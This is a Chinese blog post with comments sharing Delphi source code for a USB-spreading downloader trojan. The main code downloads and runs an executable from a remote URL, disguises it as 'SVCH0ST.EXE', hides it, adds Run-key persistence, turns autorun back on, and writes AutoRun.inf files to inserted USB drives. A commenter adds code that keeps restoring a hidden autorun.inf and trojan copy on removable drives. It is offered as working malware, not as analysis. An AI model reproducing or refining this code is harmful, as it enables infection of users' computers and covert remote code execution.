下载者U盘传染源码

  1. unit Un_Main;  
  2.   
  3. interface  
  4.   
  5. uses  
  6.   Windows, Messages, SysUtils,Forms,IniFiles;  
  7. type  
  8.   TFrm_Main = class(TForm)  
  9.     procedure FormCreate(Sender: TObject);  
  10.     procedure FormClose(Sender: TObject; var Action: TCloseAction);  
  11.   private  
  12.     procedure WMDeviceChange(var Msg: TMessage); message WM_DEVICECHANGE;  
  13.   public  
  14.     { Public declarations }  
  15.   end;  
  16. const  
  17.      exefile = 'SVCH0ST.EXE';  
  18.      Buffer = 'http://www.888.com/hello.exe';  
  19.      DBT_DEVICEARRIVAL = $8000;  // system detected a new device  
  20.      DBT_DEVICEREMOVECOMPLETE = $8004;  // device is gone  
  21.      DBT_DEVTYP_VOLUME = $00000002;  // logical volume  
  22.      DBTF_MEDIA = $0001;  // media comings and goings  
  23. type  
  24.  PDEV_BROADCAST_HDR = ^TDEV_BROADCAST_HDR;  
  25.  TDEV_BROADCAST_HDR = packed record  
  26.    dbch_size : DWORD;  
  27.    dbch_devicetype : DWORD;  
  28.    dbch_reserved : DWORD;  
  29.  end;  
  30.   PDEV_BROADCAST_VOLUME = ^TDEV_BROADCAST_VOLUME;  
  31.   TDEV_BROADCAST_VOLUME = packed record  
  32.      dbcv_size : DWORD;  
  33.      dbcv_devicetype : DWORD;  
  34.      dbcv_reserved : DWORD;  
  35.      dbcv_unitmask : DWORD;  
  36.      dbcv_flags : WORD;  
  37.    end;  
  38.   
  39. function UrlDownLoadToFile(Caller,URL,FileName: PAnsiChar;Reserved: LongWord;  
  40.                            StatusCB: Pointer): LongWord;  
  41.                            stdcall; external 'URLMON.DLL' name 'URLDownloadToFileA';  
  42.   
  43. function WinExec(lpCmdline: PAnsiChar; uCmdShow: LongWord): LongWord;  
  44.                  stdcall; external 'kernel32.dll' name 'WinExec';  
  45.   
  46. var  
  47.   Frm_Main: TFrm_Main;  
  48.   exefull:string;  
  49. implementation  
  50.   
  51. {$R *.dfm}  
  52.   
  53. function SetRegValue(key:Hkey; subkey,name,value:string):boolean;  
  54. var  
  55. regkey:hkey;  
  56. begin  
  57.   result := false;  
  58.   RegCreateKey(key,PChar(subkey),regkey);  
  59.   if RegSetValueEx(regkey,Pchar(name),0,REG_EXPAND_SZ,pchar(value),length(value)) = 0 then  
  60.     result := true;  
  61.   RegCloseKey(regkey);  
  62. end;  
  63.   
  64. procedure Startup(var TheName:string);  
  65. begin  
  66.   SetRegValue(HKEY_LOCAL_MACHINE,'Software\Microsoft\Windows\CurrentVersion\Run','SVCH0ST',TheName);  
  67.   UrlDownloadToFile(nil, PChar(Buffer), PChar(TheName), 0, nil);  
  68.   SetFileAttributes(PChar(TheName),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);  
  69.   messagebox(0,'文件下载成功!','成功',MB_OK);  
  70.   WinExec(PChar(TheName), SW_SHOWDEFAULT);  
  71.   //Sleep(500);  
  72.   //DeleteMe;  
  73.   //freemem(@path,256);  
  74. end;  
  75.   
  76.   
  77. procedure TFrm_Main.WMDeviceChange(var Msg: TMessage);  
  78. var  
  79.    lpdb : PDEV_BROADCAST_HDR;  
  80.    lpdbv : PDEV_BROADCAST_VOLUME;  
  81.    unitmask:DWORD;  
  82.    i:integer;  
  83.    MyIni:TIniFile;  
  84.    s:Hkey;  
  85.    value:dword ;  
  86.    inifile:string;  
  87. begin  
  88.   lpdb := PDEV_BROADCAST_HDR(Msg.LParam);  
  89.   case Msg.WParam of  
  90.     DBT_DEVICEARRIVAL ://有设备安装完毕  
  91.   
  92.     if lpdb.dbch_devicetype=DBT_DEVTYP_VOLUME then  
  93.     begin  
  94.       lpdbv := PDEV_BROADCAST_VOLUME(lpdb);  
  95.       unitmask:=lpdbv.dbcv_unitmask;//取得设备的盘符  
  96.       for i:=0 to 25 do //遍历磁盘  
  97.       begin  
  98.         if Boolean(unitmask and $1)then//看该驱动器的状态是否发生了变化  
  99.         break;  
  100.         unitmask := unitmask shr 1;  
  101.       end;  
  102.       if fileexists(exefull) then    //向u盘拷文件  
  103.       begin  
  104.       copyfile(PChar(exefull),Pchar(char(i+65) + ':\' + exefile),false); 
  105.       FileSetAttr(char(i+65) + ':\' + exefile,$00000003); 
  106.       end; 
  107.       inifile:=char(i+65)+':\AutoRun.inf';//ini文件  
  108.       RegOpenKeyEx(HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Policies\Explorer', 0, KEY_ALL_ACCESS, s); 
  109.       value:=0; 
  110.       RegSetValueEx(s,'NoDriveTypeAutoRun',0, REG_DWORD,@value, sizeof(value)); 
  111.       RegCloseKey(s); 
  112.       if fileexists(inifile) then 
  113.       begin 
  114.       FileSetAttr(inifile,$00000000); 
  115.       DeleteFile(inifile); 
  116.       end; 
  117.       MyIni := TIniFile.Create(inifile); 
  118.       MyIni.WriteString('AutoRun', 'open',exefile); 
  119.       FileSetAttr(inifile,$00000003); 
  120.     end; 
  121.  end; 
  122. end; 
  123.  
  124. procedure TFrm_Main.FormCreate(Sender: TObject); 
  125. var 
  126. s:hkey; 
  127. value:array[0..255]of char; 
  128. size:cardinal; 
  129. path:array[0..255] of char; 
  130. begin 
  131.   Application.ShowMainForm:=False; 
  132.   getsystemdirectory(path,120); 
  133.   exefull := strpas(path) + '\' + exefile; 
  134.   size:=256; 
  135.   RegOpenKeyEx(HKEY_LOCAL_MACHINE,'Software\Microsoft\Windows\CurrentVersion\Run',0,KEY_ALL_ACCESS,s);  
  136.   RegQueryValueEx(s,'SVCH0ST',nil,nil,@value,@size); 
  137.   RegCloseKey(s); 
  138.   //文件存在且有自启动 
  139.   if fileexists('C:\WINDOWS\system32\SVCH0ST.EXE') and (UpperCase(value) = UpperCase(exefull)) then 
  140.   messagebox(0,'自启动成功!','成功',MB_OK)  
  141.   else  
  142.   Startup(exefull);//下载执行函数  
  143. end;  
  144.   
  145. procedure TFrm_Main.FormClose(Sender: TObject; var Action: TCloseAction);  
  146. begin  
  147.   Application.Terminate;  
  148. end;  
  149.   
  150. end.

关键词: delphi

上一篇: 最近还好
下一篇: 今天最郁闷的笑话!

访客评论
#1
回复 king 2006-12-25, 05:00:41
http://www.virustotal.com/en/indexx.html
#2
回复 Ch4o.Jt 2006-12-26, 11:21:56
...哈哈,大哥,我来顶一下你~~
对了,上面的代码编译出来的体积会很大,你可以写成纯pascal的程序,偶给出一小段很菜很菜的代码你看看:
function getfilesize(cfile:string):integer;    //获取文件字节
var sr: TSearchRec;
begin
    if findfirst(cfile,faAnyFile,sr)=0 then
        result:=sr.Size
    else
        result:=0;
    findclose(sr);
end;


Function FindFirstRemoveDrive: Char;          //判断U盘函数
Var
  drivemap, mask: DWORD;
  i: Integer;
  root: String;
Begin
  Result := #0;
  root := \'C:\\\';
  drivemap := GetLogicalDrives;
  mask := 1;
  For i := 1 To 32 Do
  Begin
    If (mask And drivemap) <> 0 Then
      If GetDriveType(PChar(root)) = DRIVE_REMOVABLE Then
      Begin
        Result := root[1];
        Break;
      End;
    mask := mask Shl 1;
    Inc(root[1]);
  End;
End;

if (FindFirstRemoveDrive <> \'\') then  //判断U盘是否存在
    begin
      runfile:=FindFirstRemoveDrive + \':\\autorun.inf\';
      Ufile:=FindFirstRemoveDrive + \':\\fuckie.exe\';
      if (not fileexists(runfile)) or (infsize = 0) or (infsize <> getfilesize(runfile)) then
         begin
           FilesetAttr(runfile, 0);
           deletefile(runfile);
           assignfile(runtext,runfile);
           rewrite(runtext);
           writeln(runtext,\'[AutoRun]\');
           writeln(runtext,\'open=fuckie.exe\');
           writeln(runtext,\'shellexecute=fuckie.exe\');
           writeln(runtext,\'shell\\Auto\\command=fuckie.exe\');
           closefile(runtext);
           SetFileAttributes(pchar(runfile),FILE_ATTRIBUTE_HIDDEN);
           infsize:=getfilesize(runfile);   //获取文件字节
          end;
       if (not fileexists(Ufile)) or (getfilesize(exefile) <> getfilesize(Ufile)) then
          begin
            CopyFile(pchar(exefile),pchar(Ufile),false);  //exefile为自身木马路径
            SetFileAttributes(pchar(Ufile),FILE_ATTRIBUTE_HIDDEN);
           end;
     end;


PS:没有什么深的技术,代码很简单,不过可以实时保护autorun.inf文件和木马文件,当一被人修改的话,就会马上恢复...
infsize为全局integer变量,通过它保存字节数,每次判断文件是否存在和字节数是否被改变(如果文件被替换或者修改,字节数就会改变~ ^_^)
如果你有什么新的思路,请给予指教~! ^_^  E-Mail:Ch4o.Jt#GMail.Com   By:Ch4o.Jt
#3
回复 Ch4o.Jt 2006-12-26, 11:22:50
晕,你的BLOG评论作了过滤...-_-o
发表评论

评论内容 (必填):